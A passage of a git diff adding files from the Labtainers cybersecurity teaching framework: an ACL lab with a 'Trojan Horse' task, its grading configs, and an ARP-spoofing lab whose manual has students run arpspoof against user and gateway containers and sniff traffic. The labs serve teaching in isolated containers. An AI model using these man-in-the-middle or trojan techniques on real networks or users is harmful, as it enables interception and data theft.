file using: +\begin{verbatim} + getfacl accounting.txt +\end{verbatim} + +Note how one of the three users has permission to modify that file? Go to that +user's virtual terminal and append to the file using: +\begin{verbatim} + echo "more stuff" >> /shared_data/accounting.txt +\end{verbatim} + +Back in the Alice terminal, try to modify that file to confirm she lacks that access. + + +\subsection{Task 2: Set an ACL on a single file} +As the Bob user, use the {\tt setfacl} command to allow Alice to read the +{\tt /shared\_data/bob/bobstuff.txt file}. Then, as the Alice user, +confirm her ability to read the file. And as the Harry user, confirm +he lacks permission to read the file. + + +\subsection{Task 2: Set an default ACL for a directory} +As the Alice user, we want to define a default ACL such that, whenever +Alice creates a new file in the {\tt /shared\_data/alice} directory, +that new file will be readable by Bob, but not by users other than +Bob and Alice. Consider doing this systematically: +\begin{itemize} +\item Create a file in {\tt /shared\_data/alice} and check its permissions +\item Set the default ACL on the alice directory to permit bob to read newly created files. +\item Create another new file in {\tt /shared\_data/alice} and check its permissions. Are they what you expect? +\item Revise your default ACL on the alice directory if necessary +\item Confirm permissions on a newly created file are as desired. +\end{itemize} + +\subsection{Task 3: Trojan Horses} +Revisit the permissons on the {\tt /shared\_data/accounting.txt} file. Bob is +unable to read this file, but he would very much like to know its content. +Bob knows Alice is a fool for ascii art, and he created the {\tt /shared\_data/bob/fun} +script. As Bob, modify that script so that if Alice (or Harry) run the script, it will +make a copy of the accounting.txt file in a manner that allows Bob to see the content. +Confirm that when Bob runs this script, it does not provide him access to the data. But +when it is run by Alice, then Bob gets access to the information. Note the distinction beween +Bob getting access to the file, and Bob getting access to the information. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab acl +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/read_first.txt new file mode 100644 index 000000000..72bec8531 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/acl.pdf + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/goals.config new file mode 100644 index 000000000..cb6b8bb5a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/goals.config @@ -0,0 +1,13 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# +# results from acl display +# + +# accounting file read by alice running fun +_fun_alice = matchany : integer_greater : fun_alice : answer=4 + +#DOC: Does not check that result is readable, but does confirm fun altered +# to read the accounting.txt file, and was run by alice. +did_trojan = boolean : (_fun_alice and _account_read and _account_alice) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/results.config new file mode 100644 index 000000000..55c57d672 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/results.config @@ -0,0 +1,17 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +# +# alice read access to bobstuff (could combine using regex) +#DOC: Changed ACL so alice can read bob's stuff +bob_stuff_acl = precheck.stdout : FILE_REGEX : file: shared_data/bob/bobstuff.txt.*user:alice:r-- + + +#DOC: Bob got default read access to newly created alice file +alice_default = precheck.stdout : FILE_REGEX : file: shared_data/alice.*user:bob:r--.*other::--- +# +# alice read accounting text by running the fun program +# +fun_alice = fun.stdout : LINE_COUNT +_account_alice = precheck.stdout : CONTAINS : uid=1000(alice) +_account_read = precheck.stdout : CONTAINS : shared_data/accounting.txt diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_system/etc/rc.local new file mode 100755 index 000000000..574b47b81 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_system/etc/rc.local @@ -0,0 +1,2 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 172.25.0.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/about.txt new file mode 100644 index 000000000..01c97b9ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/about.txt @@ -0,0 +1 @@ +Use of ARP spoofing for Man-in-the-middle attacks. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/start.config new file mode 100644 index 000000000..63a444eba --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/start.config @@ -0,0 +1,111 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER user + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED user_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK LOCAL_NETWORK + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +NETWORK REMOTE_NETWORK + MASK 172.35.0.0/24 + GATEWAY 172.35.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER user + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + LOCAL_NETWORK 172.25.0.2:aa:ab:ac:ad:00:02 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER gateway + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals gateways to -1 + # + TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + LOCAL_NETWORK 172.25.0.3:aa:ab:ac:ad:00:03 + REMOTE_NETWORK 172.35.0.2 + # + + +CONTAINER attacker + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals attackers to 1 + # + TERMINAL_GROUP attacker + TERMINALS 3 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + LOCAL_NETWORK 172.25.0.4:aa:ab:ac:ad:00:04 + # Mount Linux host X11 server socket for use by GUI-app in container. + X11 YES + + +CONTAINER webserver + # user name of user who interacts with the container. + USER ubuntu + # DMZ_LINK 172.25.0.2 + REMOTE_NETWORK 172.35.0.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.attacker.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.attacker.student new file mode 100644 index 000000000..7cfdd600d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.attacker.student @@ -0,0 +1,69 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.wireshark +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends dsniff +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +RUN adduser $user_name wireshark + +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.gateway.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.gateway.student new file mode 100644 index 000000000..32b46377a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.gateway.student @@ -0,0 +1,63 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.user.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.user.student new file mode 100644 index 000000000..32b46377a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.user.student @@ -0,0 +1,63 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.webserver.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.webserver.student new file mode 100644 index 000000000..50bab7bea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.webserver.student @@ -0,0 +1,63 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/Makefile new file mode 100644 index 000000000..05fda9755 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/Makefile @@ -0,0 +1,8 @@ +arp-spoof.pdf: arp-spoof.tex header.tex + latex arp-spoof + pdflatex -jobname=arp-spoof arp-spoof + pdflatex -jobname=arp-spoof arp-spoof + +clean: + rm -fr auto + rm -f arp-spoof.aux arp-spoof.log arp-spoof.pdf arp-spoof.dvi arp-spoof.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof-report.docx new file mode 100644 index 000000000..e02abfc9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof-report.docx @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.tex new file mode 100644 index 000000000..f594da0b5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.tex @@ -0,0 +1,115 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE ARP Spoofing for Sniffing and Man-in-the-middle Attacks} +\vspace{0.1in}\\ +\end{center} + +\copyrightnotice + +\section{Overview} +This exercise explores the use of ARP spoofing as a means to +sniff local network traffic. Modern Local Area Networks (LANs) +use ethernet switches, which prevent passive sniffing of network +traffic between other components. This lab assumes you have +separately learned about the ARP protocol. ARP spoofing is +a technique by which the attacker sends spoofed ARP messages +into the LAN, with a goal of causing traffic meant for one IP +address to be routed to the attacker's computer instead. The +attacker's computer then forwards the traffic to the intended +destination. This puts the attacker into the middle of the +traffic exchange, hence the name "Man in the Middle" attack. + +\section{Lab Environmnet} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer arp-spoof +\end{verbatim} +Links to this lab manual and to an empty lab report will be displayed. If you create your lab report on a separate system, +be sure to copy it back to the specified location on your Linux system. + + +\section{Network Configuration} +This lab includes four networked computers as shown in Figure~\ref{fig:intended}, +which illustrates the intended flow of traffic between the user computer and +the Webserver via the Gateway. + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{figure1.jpg} +\end{center} +\caption{Intended traffic from between User and Webserver} +\label{fig:intended} +\end{figure} + +\section{Lab Tasks} +In this lab, you will use the {\tt arpspoof} tool to convice the User computer that +traffic destined for Gateway should instead be sent to the Attacker computer -- and +convince the Gateway that traffic destined for the User should be sent to the Attacker +computer, as illustrated in ~Figure\ref{fig:spoofed} +\begin{figure}[H] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{figure2.jpg} +\end{center} +\caption{Man-in-the-middle attack via ARP Spoofing} +\label{fig:spoofed} +\end{figure} + +The {\tt arpspoof} tool is installed on the Attacker computer, as is Wireshark. +The Attacker computer is configured to forward IP packets that is receives which +are destined for elsewhere. You can confirm this with this command, which should +reflect a value of '1': +\begin{verbatim} + sysctl net.ipv4.conf.all.forwarding +\end{verbatim} + +\subsection{Task 1: Sniff the LAN from the Attacker} +Before you engage in ARP spoofing, first look at network traffic as seen by +the Attacker. +Start Wireshark on the Attacker computer, selecting the "eth0" interface: +\begin{verbatim} + wireshark -ki eth0 +\end{verbatim} + +On the User computer, use wget to retrieve a web page from the Webserver: +\begin{verbatim} + wget
+\end{verbatim} + +\noindent Observe the Wireshark display. Do you see either the web query or the response? + +\subsection{Task 2: Spoof the ARP cache on the User and Gateway Computers} +Use the arpspoof tool on the Attacker computer to perform your ARP spoofing. +Note you must target both the User and Gateway computers. It is easiest to +start the arpspoof program in two different virtual terminals connected to the +attacker (you may have wondered why you were given three Attacker terminals). + +\begin{verbatim} + sudo arpspoof -t + sudo arpspoof -t +\end{verbatim} + + +After your ARP spoofing has commenced you should see your spoofed ARP traffic in Wireshark. +Now return to the User computer and refetch +the web page using {\tt wget} command. You should see TCP traffic in your Wireshark +display. In Wireshark, stop the capture, (red button), and use +"File / Save" to save the traffic into a file named sniff.pcapng in your HOME directory, +(/home/ubuntu). + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab arp-spoof +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/figure1.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/figure1.jpg new file mode 100755 index 000000000..d810be138 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/figure1.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/figure2.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/figure2.jpg new file mode 100755 index 000000000..92d3359f9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/figure2.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + 